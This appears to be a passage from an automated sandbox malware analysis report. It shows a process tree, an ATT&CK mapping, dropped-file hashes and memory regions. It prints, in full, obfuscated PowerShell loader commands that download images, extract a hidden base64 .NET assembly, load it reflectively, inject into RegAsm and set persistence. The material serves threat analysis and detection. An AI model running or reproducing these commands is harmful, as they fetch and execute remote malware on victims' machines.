revDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreNgDgTrevDgTreDkDgTreNwDgTre5DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreXwB2DgTreGIDgTrecwDgTreuDgTreGoDgTrecDgTreBnDgTreD8DgTreMQDgTre3DgTreDEDgTreMgDgTre1DgTreDgDgTreODgTreDgTre1DgTreDDgTreDgTreMDgTreDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBEDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreRDgTreBhDgTreHQDgTreYQBGDgTreHIDgTrebwBtDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreC0DgTrebgBlDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreFMDgTreVDgTreBBDgTreFIDgTreVDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBSDgTreGUDgTreZgBsDgTreGUDgTreYwB0DgTreGkDgTrebwBuDgTreC4DgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreF0DgTreOgDgTre6DgTreEwDgTrebwBhDgTreGQDgTreKDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreFDgTreDgTreUgBPDgTreEoDgTreRQBUDgTreE8DgTreQQBVDgTreFQDgTreTwBNDgTreEEDgTreQwBBDgTreE8DgTreLgBWDgTreEIDgTreLgBIDgTreG8DgTrebQBlDgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTredDgTreB4DgTreHQDgTreLgBDDgTreFYDgTreUgDgTrevDgTreDDgTreDgTreMDgTreDgTrexDgTreC8DgTreODgTreDgTrexDgTreDIDgTreLgDgTre1DgTreDkDgTreLgDgTrezDgTreC4DgTreMgDgTre5DgTreDEDgTreLwDgTrevDgTreDoDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreUDgTreByDgTreG8DgTreZwByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreFIDgTreVgBDDgTreCcDgTreLDgTreDgTrenDgTreFIDgTreZQBnDgTreEEDgTrecwBtDgTreCcDgTreLDgTreDgTrenDgTreCcDgTreKQDgTrepDgTreH0DgTreIDgTreB9DgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2744

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/766/978/full/new_image_vbs.jpg?1712588469', 'https://uploaddeimagens.com.br/images/004/766/979/original/new_image_vbs.jpg?1712588500'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.CVR/001/812.59.3.291//:ptth' , '1' , 'C:\ProgramData\' , 'RVC','RegAsm',''))} }"
4⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2484

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\RVC.vbs
5⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:336

C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
5⤵
PID:2020

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Exploitation for Client Execution

T1203

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
774bc59accf21e5680baf8a3b72fa417

SHA1
5a81292fc81348901e9a220788254bef1d563d96

SHA256
ad48eb8ee232a95dc4ed89d9a19e26c98312cb7af7ed2f53e889969246177ddb

SHA512
ead73cc800155d1abd6734304862ec2e27e71aa744cdfdf57f01b5d1a028baebf77c359c6d77ecf64f6248f6d39db270b9172709fcb6e63aa7a8367508762670

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
99d32af7c45f9f98042f890d4177c6d4

SHA1
76b68da63380ca75c263b727814fbb36ff5a5155

SHA256
d9af95a3f9a266a27911533fca4b24ddeca56b54ae30a23a260bc6648ce78b8c

SHA512
105cc282ed10f3c13de4ba3815a2eb0d118ddf9a603ac1cc55d251d04a2e79f47e0611fa81aed68c6cd3b0e41162d90404b94cb59dbfc0cc10f4464652c7a920

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab2E41.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2E54.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar2F34.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
Filesize
20KB

MD5
995f028d097969058201b25a2ea35e35

SHA1
6642702e5e5631c777e4a94745b9e9b9b51cb4c1

SHA256
aca61305b08c639bc4b627e7d64de76457f3c9bd81039ccfb681a2d9ede56e21

SHA512
e3fd70ade9dc124e39c48a2ac89514d036e02ac64ad63034c90e28a1965f3becc4f53b861b1d16174b6af3870d184256f3fb75cd980c7112574400be3f8d9e99

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
adcca3e7578a10205ca767f9980086e5

SHA1
9e0d1ad57cca1e4b92b5c6ad3a06c6b9ac76e7fc

SHA256
516ed8bd30d7117eaf1fc4668e6b2d7cf44ec870f6701d8c82c4c96941e21e36

SHA512
938a1e78d53311d57fe9e7b04af48b29621a0f41647017ca1fb4332089987911b00859517334441dd5ca8ab1aebd425bc09c9a3095a87385e0ac0acfa8a720e0

Download Submit
C:\Users\Admin\AppData\Roaming\loverskissingforimage.vbs
Filesize
399KB

MD5
42351519fa2bf8b9471c118ce7d57dfd

SHA1
ba9c7fdd039f45f740f87c8f5cf0134077c9df06

SHA256
d630249c7d763545e77e9711a459127bd99a1ad4cb00d0f49f5bff575cda3b41

SHA512
afa500007c9cd1714c1e162c5aed63dfabc6870afdd22cb804ad8ffa41cb932a1af2059893ac942490bb2fece8f842eca22d3ad9f3410a8275f4c82dfce9850c

Download Submit
memory/336-120-0x0000000069F70000-0x000000006A51B000-memory.dmp

Filesize
5.7MB

Download
memory/336-121-0x0000000002B80000-0x0000000002BC0000-memory.dmp

Filesize
256KB

Download
memory/336-122-0x0000000002B80000-0x0000000002BC0000-memory.dmp

Filesize
256KB

Download
memory/336-125-0x0000000069F70000-0x000000006A51B000-memory.dmp

Filesize
5.7MB

Download
memory/2020-128-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-143-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-180-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-179-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-178-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-158-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-157-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-156-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-154-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-126-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-127-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-152-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-129-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-131-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-133-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-135-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-137-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-139-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2020-141-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-151-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-150-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-146-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-147-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2020-149-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2484-145-0x0000000069F70000-0x000000006A51B000-memory.dmp

Filesize
5.7MB

Download
memory/2484-46-0x0000000069F70000-0x000000006A51B000-memory.dmp

Filesize
5.7MB

Download
memory/2484-45-0x0000000002C00000-0x0000000002C40000-memory.dmp

Filesize
256KB

Download
memory/2484-44-0x0000000069F70000-0x000000006A51B000-memory.dmp

Filesize
5.7MB

Download
memory/2744-38-0x0000000002B80000-0x0000000002BC0000-memory.dmp

Filesize
256KB

Download
memory/2744-148-0x0000000069F70000-0x000000006A51B000-memory.dmp

Filesize
5.7MB

Download
memory/2744-35-0x0000000069F70000-0x000000006A51B000-memory.dmp

Filesize
5.7MB

Download
memory/2744-36-0x0000000002B80000-0x0000000002BC0000-memory.dmp

Filesize
256KB

Download
memory/2744-37-0x0000000069F70000-0x000000006A51B000-memory.dmp

Filesize
5.7MB

Download
memory/2960-0-0x000000002F2C1000-0x000000002F2C2000-memory.dmp

Filesize
4KB

Download
memory/2960-177-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2960-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2960-155-0x00000000708FD000-0x0000000070908000-memory.dmp

Filesize
44KB

Download
memory/2960-2-0x00000000708FD000-0x0000000070908000-memory.dmp

Filesize
44KB

Download